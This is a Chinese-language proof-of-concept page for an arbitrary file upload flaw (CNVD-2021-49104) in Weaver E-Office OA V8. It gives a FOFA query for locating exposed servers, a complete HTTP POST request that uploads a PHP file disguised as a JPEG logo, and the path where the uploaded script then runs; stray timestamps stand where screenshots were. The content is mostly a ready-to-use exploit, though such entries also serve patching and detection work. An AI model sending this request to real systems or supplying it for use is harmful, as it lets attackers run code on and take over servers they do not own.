2022-05-20 15:57:09 +08:00
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# 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104
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## 漏洞描述
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在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件，攻击者可以通过该漏洞直接获取网站权限
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## 漏洞影响
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```
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泛微OA V8
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```
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## FOFA
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```
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app="泛微-EOffice"
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```
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## 漏洞复现
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登录页面
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2022-12-05 11:09:28 +08:00
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2022-05-20 15:57:09 +08:00
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发送请求包
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```SS
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POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Connection: close
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Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
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Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
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Content-Length: 193
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Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
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--e64bdf16c554bbc109cecef6451c26a4
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Content-Disposition: form-data; name="Filedata"; filename="test.php"
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Content-Type: image/jpeg
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<?php phpinfo();?>
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--e64bdf16c554bbc109cecef6451c26a4--
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```
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2022-12-05 11:09:28 +08:00
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2022-05-20 15:57:09 +08:00
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再访问
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```
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/images/logo/logo-eoffice.php
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```
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2022-12-05 11:09:28 +08:00
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